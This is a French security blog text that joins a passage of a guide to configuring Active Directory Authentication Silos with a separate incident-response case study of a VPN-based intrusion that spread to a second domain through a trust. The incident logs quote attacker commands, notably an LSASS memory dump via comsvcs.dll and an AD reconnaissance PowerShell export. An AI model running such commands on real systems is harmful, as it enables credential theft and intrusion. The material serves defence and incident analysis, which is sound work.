Les Silos d’Authentification, quant à eux, reposent uniquement sur des fonctionnalités du protocole Kerberos (et des objets LDAP) afin de définir si un utilisateur peut s’authentifier sur une machine ou accéder à un service. En particulier, les implémentations suivantes sont utilisées :

• Le Kerberos Armoring ;

• Les revendications (Claims) ;

• L’authentification Composée.

Le fonctionnement de ces implémentations sera détaillé dans les sections suivantes.

Cette méthode permet de s’affranchir de l’administration et des failles liées aux GPO.

De plus, ces composants étant limités au protocole Kerberos, le protocole NTLM ne peut (et ne doit) pas être utilisé pour les authentifications des Administrateurs.

La mise en place des Silos d’Authentification demande néanmoins de prendre en compte certaines contraintes.

En particulier, il peut être assez complexe de les mettre en œuvre en fonction du système d’information. Une bonne maitrise de l’Active Directory est donc un prérequis essentiel. Il est important d’identifier précisément les cas d’usage (support, administration des serveurs) afin de vérifier s’ils sont compatibles avec les silos d’authentification.

En cas de mauvaise prise en compte des besoins, des connexions légitimes peuvent être bloquées, ce qui peut avoir un impact sur la production.

Par exemple, si un prestataire externe utilise une machine hors du domaine et un VPN pour réaliser l’administration des serveurs d’un silo, la connexion ne sera plus possible. Il faudra ainsi trouver une solution de contournement (machine physique, bastion…).

De plus, cela rajoute une couche dans l’administration d’un domaine et il est nécessaire de documenter précisément l’exploitation (ajout d’objets dans le silo, revue des événements) afin d’assurer un niveau de sécurité adéquat.

Les silos, à eux seuls, ne sont pas suffisant et ils doivent être combiné notamment avec des machines d’administration sécurisées (PAW), LAPS ainsi que de la segmentation et du filtrage réseau.

Un modèle en Tiers, configuré avec les GPO et les Silos d’Authentification, peut également être utilisé afin de garantir une défense en profondeur.

Composants principaux des Silos d’Authentification

Comme indiqué précédemment, différents composants sont utilisés afin de faire fonctionner les silos d’authentification. Les sections suivantes permettent d’expliquer le fonctionnement et le rôle de chacun d’entre eux dans l’implémentation des silos.

Rappels sur Kerberos

Le protocole Kerberos (voir cet article sur le blog hackndo pour une explication détaillée) est au coeur des silos d’Authentification et il s’agit d’un des principaux protocole d’authentification dans un domaine Active Directory.

Néanmoins, afin de comprendre certains composants, un rappel rapide est nécessaire.

Le protocole Kerberos est l’un des principaux protocoles d’authentification dans un domaine Active Directory. Il permet notamment la mise en place du Single Sign-On, afin que les utilisateurs n’aient pas besoin de renseigner leurs identifiants pour accéder à chaque ressource.

3 entités sont requises :

• Le client - l’entité (utilisateur, ordinateur, service) qui souhaite accéder à un service (ordinateur ou fichier par exemple)

• Le KDC (Key Distribution Center) - L’entité qui va gérer l’authentification (vérification des identifiants)

• Un service - l’entité à laquelle le client souhaite accéder

Pour éviter que les mots de passe transitent sur le réseau, ce protocole se base sur l’échange de Ticket. On retrouve deux tickets différents :

• Le TGT (Ticket Granting ticket) - Ce ticket est fourni au client lors de la première phase d’authentification auprès du KDC. Il est par la suite utilisé pour demander l’accès aux services via un Service Ticket (ST)

• Le Service Ticket - Ce ticket est fourni au client par le KDC lorsque ce dernier veut accéder à un service. Il est par la suite transmis au service afin de prouver l’authentification et l’identité de l’utilisateur

Les échanges suivants prennent place lorsqu’un client s’authentifie et demande à accéder à un service :

Échanges lors d’une authentification Kerberos

1. AS_REQ : Le client s’authentifie sur une machine et demande un TGT au KDC

2. AS_REP : Si les données d’authentification sont correctes, le KDC retourne un TGT à l’utilisateur

3. TGS_REQ : Le client veut accéder à un service, il demande donc au KDC un ticket de service en utilisant comme preuve d’authentification son TGT.

4. TGS_REP : Le KDC retourne un Ticket de Service pour l’utilisateur

5. AP_REQ : Le client présente son Ticket de Service au service cible afin de prouver son authentification

6. AP_REP : Le service valide ou non l’accès de l’utilisateur

Prérequis

Avant de rentrer plus en avant dans le détail, il est nécessaire d’évoquer les différents prérequis pour pouvoir utiliser les Silos d’Authentification.

Il faut que le Niveau Fonctionnel du domaine soit d’au moins 2012R2.

Il est également important de prendre en compte les points suivants :

• Les Silos ne fonctionnent pas pour les machines Linux intégrées au domaine ;

• Les Silos ne fonctionnent pas pour les utilisateurs d'une autre forêt ;

Le kerberos armoring, les revendications et l’authentification composée ne fonctionne que sur les postes de travail à partir de Windows 8 et sur les serveurs à partir de 2012.

Authentication Policy

Les Authentication Policies sont des objets permettant de définir les propriétés des tickets Kerberos et les contrôles d'accès appliqués sur les objets d'un silo.

Il est notamment possible de définir :

• La durée de vie du TGT ;

• Les critères d’authentification pour les comptes, les comptes de services et les comptes machine.

Trois types d'objets peuvent être couverts par une Authentication Policy :

• Objets User :

  • Il est possible de définir depuis et vers quelles machines l’utilisateur peut s’authentifier

• Objets "Compte de service" :

  • Comprend les MSA, gMSA, dMSA

  • Il est possible de définir auprès de quelle(s) machine(s) les comptes de service peuvent être utilisés

• Objets Computer :

  • Il est possible de définir quels sont les utilisateurs qui peuvent accéder à un service qui est lancé sous le contexte du compte machine.

Avec ces différents attributs, les administrateurs peuvent contrôler et limiter précisément l’authentification des utilisateurs dans un silo. Ce qui permet donc de réduire grandement la dissémination des secrets d’authentification.

Authentication Policy Silos

Ce type d’objet est tout simplement un conteneur permettant de faire le lien entre une Authentication Policy et les utilisateurs, comptes de services et machines d’un silo.

Kerberos Armoring

Lors de certains échanges Kerberos, certains “blocs” sont chiffrés uniquement avec le secret du compte qui s’authentifie.

C’est par exemple le cas du bloc pA-ENC-TIMESTAMP qui est directement chiffré avec le secret du compte.

Bloc pA-ENC-TIMESTAMP d’un échange AS-REP

En cas de récupération de cette échange (ou si la préauthentification est désactivée pour le compte) il est donc possible de réaliser une attaque par force brute sur ces blocs et potentiellement récupérer le mot de passe du l’utilisateur. C’est par exemple le cas de l’attaque AS-REP Roasting.

Le Kerberos Armoring permet de répondre à cette problématique en ajoutant une couche de chiffrement supplémentaire, utilisant en plus du secret du compte qui s’authentifie, celui de la machine vers lequel le compte s’authentifie.

Dans un échange AS_REQ utilisant du Kerberos Armoring, le bloc pA-ENC-TIMESTAMP est remplacé par un champ pA-PX-FAST contenant 3 champs :

• armor: Indiquant le type de blindage et contenant généralement le TGT de la machine d’où provient l’authentification

• req-checksum : Un checksum pour vérifier l’intégrité de la requête

• enc-fast-req : Contient les données d’authentification

Bloc pA-FX-FAST

L’objectif est donc double :

• Ajouter de la sécurité empêchant des attaques hors-ligne sur les échanges Kerberos ;

• Permettre au KDC de savoir depuis quelle machine l’utilisateur s’authentifie.

Revendication Kerberos

Les revendications (Claims) sont des chaines de caractères et elles sont ajoutées lors des échanges Kerberos TGS-REP lors de l’authentification d’un objet. Elles peuvent être utilisées afin de définir des règles de contrôles d’accès.

On peut, par exemple, retrouver la valeur dans le champ Client Claims Info :

Revendication de l’utilisateur

On remarque une revendication Kerberos avec la valeur “T0”, indiquant que notre utilisateur fait partie du silo T0.

On retrouve différents types de revendications possibles au niveau d’un domaine Active Directory :

• AD : La revendication est générée à partir d'un attribut LDAP (par exemple l’attribut description)

• Certificat : La revendication est basée sur un attribut d'un certificat X.509

• TransformPolicy : La revendication est basée sur une Claims Transform Rules pour traduire une revendication venant d'une autre forêt

• Constructed : La revendication est générée automatiquement. Actuellement il n’existe que les revendications Construted de type AuthenticationSilo. Ces dernières sont utilisées par les Authentication Policy pour autoriser ou non l’accès à un compte.

L’authentification composée

Lors de l’authentification Kerberos, les données d’autorisation de l’utilisateur sont inclues dans le PAC. Cette structure contient, entre autres, le SID de l’utilisateur ainsi que le SID des groupes auxquels il appartient.

Les contrôles d’accès se basent sur ces informations.

L’authentification composée reprend l’ensemble des composants principaux détaillées précédemment pour inclure les données d’autorisation de la machine sur laquelle l’utilisateur est connecté en plus de ses propres données.

Cela permet donc de mettre en place des ACE basées sur ces nouvelles données et rendre la gestion des accès encore plus granulaire.

Par exemple, il est possible de définir que les comptes avec la revendication “T0” peuvent s’authentifier sur et depuis les machines ayant également une revendication “T0”.

Mise en place

Comme expliqué précédemment, il est possible de créer des politiques d’accès différentes en fonction des types d’objets.

• Pour les objets utilisateur :

  • Auprès de quelles machines les utilisateurs peuvent s’authentifier

  • Quels objets peuvent accéder à un service qui est exécuté sous le contexte du compte utilisateur

• Pour les comptes de service :

  • Auprès de quelles machines les comptes de service peuvent s’authentifier

  • Quels objets peuvent accéder à un service qui est exécuté sous le contexte du compte de service

• Pour les comptes machine :

  • Quels objets peuvent accéder à un service qui est exécuté sous le contexte du compte machine

Les sections ci-dessous détaillent la mise en place d’un silo d’authentification pour la connexion des utilisateurs sur les machines d’un tiers spécifique, le tiers 0 dans cet article. Les autres configurations reposant sur le même principe, elles ne seront pas détaillées.

Configuration des prérequis

Activation au niveau des Contrôleurs de Domaine (DC)

En premier lieu, il est nécessaire d’activer le support des revendications, de l’authentification composée et du Kerberos Armoring au niveau des contrôleurs de domaine.

Cela se fait via la GPO suivante :

Computer Configuration | Administrative Templates | System | KDC | Key Distribution Center (KDC) support for claims, compound authentication and Kerberos armoring

Différentes options sont possibles :

• Not supported

• Supported

• Always provide claims

• Fail unarmored authentication requests

Afin d’utiliser les silos d’authentification, il est nécessaire d’appliquer l’option « Always provide claims ».

Activation du support des revendications, de l’authentification composée et du Kerberos Armoring au niveau des DC

Un redémarrage n’est pas nécessaire, il faut néanmoins mettre à jour les GPO sur les Contrôleurs de Domaine.

Activation au niveau des clients

Dans un second temps, il est nécessaire d’activer le support du Kerberos Armoring, des revendications et de l’authentification composée pour les clients Kerberos. C’est-à-dire sur l’ensemble des machines faisant parties des silos à minima.

Cela se fait également via GPO :

Computer Configuration | Administrative Templates | System | Kerberos | Kerberos client support for claims, compound authentication and Kerberos armoring

Activation du support des revendications, de l’authentification composée et du Kerberos Armoring au niveau des clients Kerberos

Là aussi, pas besoin de redémarrer mais il faut attendre le déploiement de la GPO ou le forcer (gpupdate /force sur la machine) et faire une purge des tickets Kerberos (klist purge).

Configuration de l’Authentication Policy

Pour rappel, le but premier est de limiter la propagation des secrets d’authentification des objets d’un tiers vers les autres. De fait, les objets membres du tiers 0 (T0), et les serveurs critiques, ne doivent pouvoir s’authentifier que sur les objets du tiers 0.

La configuration ci-dessous va donc présenter une méthode pour autoriser les objets du T0 à s’authentifier auprès des machines du T0 uniquement.

Il est en premier lieu nécessaire de créer une Authentication Policy avant de créer un Authentication Policy Silo.

La configuration se fait soit via l’Active Directory Administrative center, soit via PowerShell.

La méthode via l’Administrative Center est expliquée ci-dessous.

Dans l’Active Directory Administrative Center, se rendre dans Authentication puis Authentication Policies :

Accès à l’Authentication Policy dans Active Directory Administrative Center

Il faut ensuite créer une nouvelle politique d’authentification.

Configuration de l’Authentication Policy - Partie 1

La première section (1) permet de définir un nom, une description et si la politique est en mode audit ou en mode appliquée. Le mode audit est nécessaire lors de la première phase de déploiement afin d’auditer les connexions en échec et y remédier.

La deuxième section (2) permet de définir les objets couverts par cette politique. Les paramètres du mode d’application et des comptes couverts sont écrasés par la configuration du Silo d’Authentification (voir la section suivante), ils n’ont donc aucun impact.

La troisième section (3) comporte le ou les Silos utilisant cette politique. Il s’agit d’un backlink et il n’est pas possible de le configurer ici.

Les paramètres détaillés dans les parties suivantes permettent de mettre en place les politiques effectives.

User Sign On

Cette section permet de définir les conditions d’authentification pour les utilisateurs du silo.

Configuration de l’Authentication Policy - Partie 2

Il est possible de configurer plusieurs paramètres :

• Require rolling NTLM secret for NTLM authentication (1): Le mot de passe des utilisateurs avec l’attribut “Smart card is required for interactive logon” est renouvelé

• Ticket-Granting-Ticket Lifetime (2): Permet de spécifier la durée de vie du TGT pour les comptes utilisateurs

• Allow NTLM network authentication when user is restricted to selected device (3): Autorise l’utilisation du protocole… NTLM pour s’authentifier sur les machines du silo. Évidemment, ce paramètre ne doit pas être activé.

• Conditions (4) :

Ce dernier paramètre permet de définir les conditions d’accès à proprement parler.

Actuellement, il est possible d’utiliser deux conditions distinctes :

• L’appartenance (ou non) d’un utilisateur à un ou plusieurs groupes

• L’appartenance (ou non) d’un utilisateur à un silo

L’exemple suivant montre la configuration via l’appartenance à un groupe spécifique.

Conditions pour l’Authentication Policy - Exemple 1

Afin de simplifier la configuration, il est possible de définir que les utilisateurs membres d’un silo pourront s’authentifier sur les machines de ce même silo avec la condition suivante :

Condition pour l’Authentication Policy - Exemple 2

Une fois cette configuration effectuée, il faut créer une Authentication Policy Silo.

Authentication Policy Silos

Comme expliqué préalablement, l’Authentication Policy Silo permet de faire le lien entre les objets du silo et l’Authentication Policy.

La configuration se fait soit via l’Active Directory Administrative center, soit via PowerShell. La méthode via GUI est expliquée ci-dessous.

Dans Active Directory Administrative Center, se rendre dans Authentication puis Authentication Policies Silos :

Accès à l’Authentication Policy Silos dans Active Directory Administrative Center

Différents paramètres sont à configurer :

Configuration Authentication Policy Silos

On retrouve donc le nom, la description et le mode d’application (audit ou appliquée) (1). Les objets du silo (Utilisateurs et machines) sont également à définir ici (2).

La section Authentication Policy (3) permet de définir une Authentication Policy en fonction du type de compte (User account, MSA account, Computer account). Il est également possible de définir que l’ensemble des objets sont couverts par une seule et unique Authentication Policy. Dans notre cas, cela est suffisant.

Finalement, pour assigner un silo à un objet, il faut se rendre dans l’Active Directory Administrative Center au niveau de l’objet et dans l'onglet Silos, lui attribuer celui-ci :

Assignation d’un silo à un utilisateur

Mode Audit

Afin de mener correctement le projet de mise en place des Silos d’Authentification, il est fortement recommandé d’activer le mode d’audit dans un premier temps.

Pour rappel, ce mode peut se configurer au niveau de :

• L’authentication Policy

• L’authentication Policy Silo

La configuration effectuée au niveau de l’Authentication Policy Silo aura la priorité.

Activation du mode Audit

Cela va permettre de générer des événements en cas d’erreur d’authentification liée aux silos et donc de corriger la configuration pour éviter les problèmes lors de la mise en production.

Les événements sont stockés sur les DC dans :

Application and Services logs/Microsoft/Windows/Authentication

Par défaut, les événements sont désactivés :

Évenements désactivés

Pour les activer, il faut faire un clic droit sur le journal puis cliquer sur Enable Logs :

Il est possible de retrouver les événements suivants :

Évenements générés avec les Authentication Policy Silos

Conclusion

Le modèle en Tiers et son implémentation sont des sujets importants lorsqu’un domaine Active Directory est présent au sein du système d’information (SI).

Ce modèle, bien que n’empêchant pas d’exclure tout risque à lui seul, permet de correctement isoler les zones de criticité afin de restreindre les attaquants.

Il est néanmoins nécessaire de corriger les vulnérabilités identifiées sur le SI avant de mettre en oeuvre ce modèle, au risque d’avoir un faux sentiment de sécurité. En effet, la dissémination des secrets d’authentification n’est pas le problème principal si tout le monde peut passer Administrateur du Domaine à cause d’une vulnérabilité l’autorité de certification ADCS.

Les silos d’authentifications permettent d’apporter une granularité dans l’administration et une sécurité qu’il n’était pas possible d’obtenir avec les GPO uniquement. La mise en place de cette solution sur les actifs du Tiers 0, dans un premier temps, peut donc apporter un vrai plus.

Les comptes d’administration sensibles sont donc encadrés et limités au maximum afin d’éviter toute utilisation abusive.

Il est tout de même essentiel de correctement cadrer ce projet afin d’identifier l’ensemble des cas d’usage potentiels et ainsi limiter les problèmes de production. Des tests approfondis en mode audit doivent être menés avant le déploiement et à chaque modification.

Cette solution nécessite une connaissance approfondie du SI.

De plus, les silos d’authentification ajoutent une charge non négligeable à l’administration.

Bien utilisés, les silos d’authentification sont une brique de sécurité importante qui complète le modèle en Tiers et les autres mécanismes de sécurité de l’Active Directory.

Résumé

En novembre, un acteur malveillant a exploité des comptes aux mots de passe faibles pour s’infiltrer via un accès VPN, puis a pris le contrôle d’un premier domaine Active Directory.

Grâce à un lien de trust, il a ensuite étendu sa compromission à un second domaine, illustrant la dangerosité des mouvements latéraux dans un environnement mal protégé.

Cet article retrace étape par étape le parcours de l’attaquant, analyse les indicateurs de compromission (IOCs) et les extraits de logs clés, et démontre comment une simple négligence — un seul compte vulnérable — peut servir de point d’entrée à une attaque aux conséquences dévastatrices pour l’ensemble du système d’information.

Une étude de cas qui rappelle l’importance cruciale de la segmentation, de la surveillance des accès et de l’hygiène des comptes.

Définition

Lien de trust : Un lien de trust (ou relation d’approbation) dans Active Directory est un mécanisme qui permet à deux domaines ou forêts de partager des ressources et d’autoriser l’authentification entre eux.

Concrètement :

• Il établit une relation de confiance entre deux environnements Active Directory.

• Un utilisateur authentifié dans un domaine peut ainsi accéder à des ressources situées dans un autre, sans devoir créer un compte séparé.

• Les trusts peuvent être unidirectionnels (un domaine fait confiance à l’autre) ou bidirectionnels (les deux se font mutuellement confiance).

• Ils peuvent aussi être transitifs (la confiance s’étend à d’autres domaines liés) ou non transitifs (limitée aux deux domaines concernés).

👉 En résumé, un lien de trust dans Active Directory sert à établir une interconnexion sécurisée entre domaines/forêts pour faciliter la collaboration et la gestion centralisée des accès.

Aperçu des activités

Le 5 novembre, un acteur inconnu a compromis un domaine Active Directory aux États-Unis. L’intrusion a débuté via un accès VPN utilisant des comptes anciens aux mots de passe faibles. Dès lors, l’attaquant a enchaîné des scans réseau et des mouvements latéraux sur l’infrastructure via RDP et SMB. Il a également créé une archive sur un partage de fichiers et tenté d’extraire des comptes locaux depuis la mémoire LSASS et la base SAM.

L’environnement ciblé présentait plusieurs lacunes de sécurité : absence d’EDR sur les machines du domaine, mots de passe faibles inchangés depuis plusieurs années et un équipement VPN vulnérable à la CVE‑2024‑40766.

L’ensemble des éléments observés laisse penser à une attaque opportuniste exploitant des failles de sécurité. Ce résumé introductif prépare la lecture du schéma ci-dessous, qui détaille les TTP de l’attaquant et la chronologie de son intrusion.

Dans le déroulé de l’attaque :

➔ Accès au travers du VPN via un compte valide

➔ L’attaquant a principalement utilisé des commandes système et des outils de scan réseau

➔ L’attaquant s’est latéralisé au travers des services RDP & SMB sur le parc

➔ Nous observons la création d’une archive lors de l’attaque sur un partage de fichier

➔ Le domaine ne disposait pas d’EDR au moment de l’incident, l’attaquant a donc ciblé la détection Windows Defender AV au travers de l’ajout d’une exclusion

➔ L’attaquant a obtenu des comptes via un accès à la mémoire du processus LSASS et a tenté d’obtenir des comptes locaux sur le filer via un dump de la SAM

➔ Tentative de latéralisation vers un second domaine en utilisant un lien de trust

Infrastructure

Synthèse des éléments clés

Les heures sont exprimées en UTC.

18 octobre 2024 (Suspicion) :

• 18h58 : Connexion SMB avec le compte REDACTED1\Administrator depuis le VPN REDACTED1

• 19h02 : Tentative d’exploitation de ZeroLogon sur DTC-DC01

04 novembre 2024 :

• 20h41 : Accès SMB suspect sur DTC-D01 depuis le VPN avec le compte 3points

05 novembre 2024 :

• 10h46 : Tentatives de connexion sur la console vCenter avec les comptes linuxprinter et vmware depuis le VPN REDACTED1

• 11h22 : Connexion de l’utilisateur vmware sur DTC-DC01 depuis la machine « kali »

• 11h33 : Reconnaissance Active Directory depuis le VPN REDACTED1

06 novembre 2024 :

• 05h56 : Connexion réseau du compte REDACTED1\Administrator depuis le VPN REDACTED1 sur SrvDC10

• 06h05 : Password spraying sur 588 utilisateurs inexistants sur le domaine ad.REDACTED2.fr depuis le VPN REDACTED1

• 06h09 : Mouvement latéral sur DTC-FS avec l’utilisateur vmware

• 06h14 : Mouvement latéral sur DTC-DC01 avec l’utilisateur vmware

• 06h19 : Création d’une exclusion sur le disque C de DTC-DC01 dans Windows Defender

• 06h24 : Détection d’un password spraying depuis le VPN REDACTED1 Sur l’AD REDACTED2

• 06h27 : Dump de la mémoire LSASS sur DTC-DC01

• 06h28 : Exécution d’Advanced IP Scanner sur DTC-FS

• 06h35 : Exécution de Netscan sur DTC-DC01

• 06h37 : Exécution de Netscan sur DTC-FS

• 06h46 : Bruteforce sur REDACTED2\Administrateur sur SrvDC10 depuis le VPN REDACTED1

• 06h53 : Password spraying sur 248 utilisateurs sur le domaine ad.REDACTED2.fr depuis le VPN REDACTED1

• 06h54 : Connexion avec les comptes REDACTED1\vmware, REDACTED2\svc_varonis et REDACTED1\Administrator dans le domaine ad.REDACTED2.fr

• 07h13 : Bruteforce sur REDACTED2\Administrateur sur SrvDC10 depuis le VPN REDACTED1

• 07h35 : Connexion de svc_varonis sur srvfiles

• 07h49 : Dump SAM sur srvFiles avec l’utilisateur svc_varonis

• 07h49 : Détection SentinelOne de la tentative de latéralisation avec le compte svc_varonis

• 09h10 : Début de la réponse à incident

• 09h20 : Coupure du lien de trust entre l’AD REDACTED2 et REDACTED1

Techniques employées

Les méthodes et le niveau de l’attaque ne présentent pas savoir-faire particulier de la part de l’acteur malveillant, non plus l’utilisation d’un mécanisme de persistance ou de Command And Control.

Accès initial

Lors de l’attaque, les connexions de l’attaquant sur l’infrastructure 1 & 2 ont eu lieu depuis le VPN. L’activité relevée sur le domaine Active Directory REDACTED2 provient du VPN, à l’adresse IP 10.0.11.3 & 10.0.11.4. Cependant, la durée de rétention des informations dans l’appliance SonicWall et sur le contrôleur de domaine DC10 n’ont pas permis d’identifier le compte utilisé par l’acteur malveillant pour réaliser l’accès initial.

<13>Nov 05 11:12:35 SRVDC10 AgentDevice=WindowsLog AgentLogFile=Security 
PluginVersion=7.3.1.28 Source=Microsoft-Windows-Security-Auditing
Computer=SRVDC10.ad.REDACTED2.fr OriginatingComputer=192.9.100.14User=
Domain= EventID=4625 EventIDCode=4625 EventType=16 EventCategory=12544
RecordNumber=8480307780 TimeGenerated=1730801553 TimeWritten=1730801553
Level=Log Always Keywords=Audit Failure Task=SE_ADT_LOGON_LOGON
Opcode=Info Message=An account failed to log on. Subject: Security ID: 
NULL SID Account Name: - Account Domain: - Logon ID: 0x0 Logon Type: 3

Echec de connexion depuis le VPN sur le SRVDC10

<13>Nov 06 08:38:08 SRVDC10 AgentDevice=WindowsLog AgentLogFile=Security
PluginVersion=7.3.1.28 Source=Microsoft-Windows-Security-Auditing
Computer=SrvDC10.ad.REDACTED2.fr OriginatingComputer=192.9.100.14User=
Domain= EventID=5140 EventIDCode=5140 EventType=8 EventCategory=12808
RecordNumber=8558617054 TimeGenerated=1730878687 TimeWritten=1730878687
Level=Log Always Keywords=Audit Success Task=SE_ADT_OBJECTACCESS_SHARE
Opcode=Info Message=A network share object was accessed. Subject: 
Security ID: REDACTED2\svc_varonis Account Name: svc_varonis Account Domain: 
REDACTED2 Logon ID: 0x9E86A135 Network Information: Object Type: File Source 
Address: 10.0.11.4 Source Port: 58321 Share Information: Share Name: 
\\*\SYSVOL Share Path: \??\C:\Windows\SYSVOL_DFSR\sysvol Access Request 
Information: Access Mask: 0x1 Accesses: ReadData (or ListDirectory)

Enumeration SYSVOL depuis le VPN

Les analyses permettent de confirmer que le VPN a été utilisé par l’attaquant.

Exécution & Persistence

Au 5 novembre, l’attaquant disposait déjà de 2 comptes administrateur du domaine (vmware & linuxprinter).

Les traces d’exécutions relevées sur le serveur DTC-DC01 sont lié à des actions de reconnaissance et d’obtention d’identifiants. Dans les journaux système Windows, l’identifiant 7045 montre les créations de service.

Création du service Fvulj0Ph - Dump LSASS :

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
 <System>
 <Provider Name="Service Control Manager" Guid="{555908d1-a6d7-4695-8e1e26931d2012f4}" EventSourceName="Service Control Manager"/>
 <EventID Qualifiers="16384">7045</EventID>
 <Version>0</Version>
 <Level>4</Level>
<Task>0</Task>
 <Opcode>0</Opcode>
 <Keywords>0x8080000000000000</Keywords>
 <TimeCreated SystemTime="2024-11-06T06:27:18.568368100Z"/>
 <EventRecordID>2124578</EventRecordID>
 <Correlation/>
 <Execution ProcessID="996" ThreadID="2928"/>
 <Channel>System</Channel>
 <Computer>DTC-DC01.internal.REDACTED1.com</Computer>
 <Security UserID="S-1-5-21-3424303706-2858332368-4041963730-1202"/>
 </System>
 <EventData>
 <Data Name="ServiceName">Fvulj0Ph</Data>
 <Data Name="ImagePath">%COMSPEC% /Q /c cMD.ExE /Q /c for /f "tokens=1,2 delims= 
" ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe 
C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\sfptVhaJ.sql 
full</Data>
 <Data Name="ServiceType">user mode service</Data>
 <Data Name="StartType">demand start</Data>
 <Data Name="AccountName">LocalSystem</Data>
 </EventData>
</Event>

Le service créé ci-dessus le 06 novembre à 06h27 permet à l’acteur de réaliser un dump de la mémoire du processus LSASS sur DTC-DC01.

On retrouve en parallèle le dépôt par l’attaquant de deux outils de scan réseau et leurs exécutions :

• Netscan :

    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{C
    EBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count] UserAssist entry: 14 Value name: 
    C:\ProgramData\netscan - Copy\netscan\netscan.exe Count: 2 Application focus count: 
    13 Application focus duration: 835484

• Advanced IP Scanner sur DTC-FS :

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{
CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count] UserAssist entry: 10 Value name: 
%PROGRAMFILES% (%SYSTEMDRIVE%\Program Files)\Advanced IP 
Scanner\advanced_ip_scanner.exe Count: 1 Application focus count: 0 Application 
focus duration: 120027

Nous retrouvons l’utilisation des utilitaires Windows comme Powershell, invite de commande, notepad & l’outil de capture d’écran. L’acteur disposant d’un accès VPN semble avoir utilisé la distribution Kali Linux, comme le montrent les authentifications relevées par Microsoft Defender for Identity.

{"Count":"1","Category":"Initial Access","AttackTechniques":"Valid Accounts 
(T1078), Domain Accounts (T1078.002)","SourceAccountId":"2c1240c5-bd71-4269-9e2bc89692798c68","SourceAccountSid":"S-1-5-21-3424303706-2858332368-4041963730-
1202","SourceComputerOperatingSystemType":"unknown","DestinationComputerObjectGuid"
:"4ee9de90-762e-4e0f-8bb3-
e299fa1b7030","DestinationComputerOperatingSystem":"windows server 2019 
datacenter","DestinationComputerOperatingSystemVersion":"10.0 
(17763)","DestinationComputerOperatingSystemType":"windows","SourceComputerId":"com
puter 
kali","ACTOR.ACCOUNT":"VMWare","ACTOR.ENTITY_USER":"VMWare","FROM.DEVICE":"kali","T
O.DEVICE":"DTC-DC01","ACTOR.DEVICE":""}

Le 5 novembre, l’attaquant a tenté un accès sur l’infrastructure de virtualisation de REDACTED1, via le serveur SRVVCENTER :

{
 "EventTypeId": "com.vmware.sso.Logout",
 "Severity": "info",
 "Message": "",
 "Arguments": [
 {
 "Key": "userName",
 "Value": "vmware@INTERNAL.REDACTED1.COM"
 },
 {
 "Key": "description",
 "Value": "User vmware@INTERNAL.REDACTED1.COM@10.0.11.3 
logged out"
 },
 {
 "Key": "userIp",
 "Value": "10.0.11.3"
 },
 {
 "Key": "timestamp",
 "Value": "11/05/2024 10:41:56 GMT"
 },
 {
 "Key": "_sourcehost_",
 "Value": "SrvVcenter.ad.REDACTED2.fr"
 }
 ],
[…]
 "Key": 17951603,
 "ChainId": 17951603,
 "CreatedTime": "\/Date(1730803587564)\/",
 "UserName": "vmware@INTERNAL.REDACTED1.COM",
[…]
 "FullFormattedMessage": "Logout event by 
vmware@INTERNAL.REDACTED1.COM from 10.0.11.3 at 11/05/2024 10:41:56 GMT in 
SSO",
 "ChangeTag": null
 }

L’authentification des comptes est réussie, mais linuxprinter & vmware ne disposaient pas des droits sur la ressource.

Lateral Movement & Collection

Deux phases sont à noter lors de cet incident :

➔ Pivot depuis le VPN sur l’infrastructure REDACTED1

➔ Tentative de latéralisation vers l’infrastructure REDACTED2

Depuis le VPN, les analystes relèvent l’utilisation du protocole RDP (Remote Desktop Procol) sur DTC-DC01 & DTC-FS :

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
 <System>
 <Provider Name="Microsoft-Windows-TerminalServices-LocalSessionManager" 
Guid="{5D896912-022D-40AA-A3A8-4FA5515C76D7}"/>
 <EventID>21</EventID>
 <Version>0</Version>
 <Level>4</Level>
 <Task>0</Task>
 <Opcode>0</Opcode>
 <Keywords>0x1000000000000000</Keywords>
 <TimeCreated SystemTime="2024-11-06T06:09:58.358095300Z"/>
 <EventRecordID>13650</EventRecordID>
 <Correlation/>
 <Execution ProcessID="772" ThreadID="6560"/>
 <Channel>Microsoft-Windows-TerminalServicesLocalSessionManager/Operational</Channel>
 <Computer>DTC-FS.internal.REDACTED1.com</Computer>
 <Security UserID="S-1-5-18"/>
 </System>
 <UserData>
 <EventXML xmlns:auto-ns3="http://schemas.microsoft.com/win/2004/08/events" 
xmlns="Event_NS">
 <User>REDACTED1\vmware</User>
 <SessionID>2</SessionID>
 <Address>10.0.11.4</Address>
 </EventXML>
 </UserData>
</Event>

L’eventID 21 nous indique l’ouverture d’une session RDP sur la machine cible.

Lors des connexions interactives, Notepad et l’outil de capture d’écran Windows sont utilisés afin de récupérer des informations sur l’environnement cible. Sur le périmètre REDACTED2, l’attaquant a tenté un password spray afin d’identifier les serveurs ou poste de travail où les comptes compromis dans le domaine REDACTED1 pouvaient être utilisés. Le compte svc_varonis a été utilisé suite à cela par l’attaquant sur le serveur SRVFILES.

Les actions sur le périmètre REDACTED2 ont été détectées par SentinelOne et la collecte des journaux Active Directory sur le SOC.

Credential Access & Discovery

L’acteur malveillant a entrepris une phase de reconnaissance du domaine Active Directory, comme l’atteste la commande powershell exécutée avec le compte vmware sur DTC-DC01 :

Get-ADComputer -Filter * -Property * | Select-Object Enabled, Name, DNSHostName, 
IPv4Address, OperatingSystem, Description, CanonicalName, servicePrincipalName, 
LastLogonDate, whenChanged, whenCreated | export-csv -path 
C:\ProgramData\AdComputers.csv

Le fichier AdComputer.csv contient la liste des ordinateurs présents dans l’annuaire Active Directory de REDACTED1. Il semble que l’acteur malveillant disposait d’informations préalablement à son attaque, notamment au travers du fait que les comptes linuxprinter & vmware, tout les deux étant privilégiés, ont été utilisés directement, dès le 5 novembre.

Cependant, les champs de description des objets dans l’Active Directory comportent des mots de passe, ce qui n’est pas une bonne pratique

L’utilisation des outils Netscan & Advanced IP Scanner permettent de découvrir le réseau et de valider les accès sur le parc :

<13>Nov 06 08:47:04 SRVDC11 AgentDevice=WindowsLog AgentLogFile=Security 
PluginVersion=7.3.1.28 Source=Microsoft-Windows-Security-Auditing 
